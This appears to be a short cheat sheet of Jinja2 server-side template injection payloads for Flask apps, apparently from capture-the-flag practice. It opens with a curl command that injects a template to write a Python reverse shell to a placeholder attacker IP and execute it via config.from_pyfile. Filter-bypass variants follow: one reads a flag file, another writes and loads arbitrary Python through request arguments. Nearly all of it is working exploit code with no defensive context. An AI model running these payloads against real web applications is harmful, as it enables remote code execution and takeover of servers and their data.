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curl 'localhost:8088/?next={{request.__class__.__mro__[8].__subclasses__()[40](request.headers[request.headers.keys()[6]],request.headers[request.headers.keys()[6]][5]).write(request.headers[request.headers.keys()[4]])}}{{config.from_pyfile(request.headers[request.headers.keys()[6]])}}' -g -H "x-f: /tmp/w" -H 'x-p: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("REVERSE_SHELL_IP",REVERSE_SHELL_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

when filter __class__, __subclasses__
{% raw %}{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt','r').__getattribute__('r'+'ead')()}} {% endraw %}

and more filter https://0day.work/jinja2-template-injection-filter-bypasses/
http://localhost:5000/?exploit={%set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337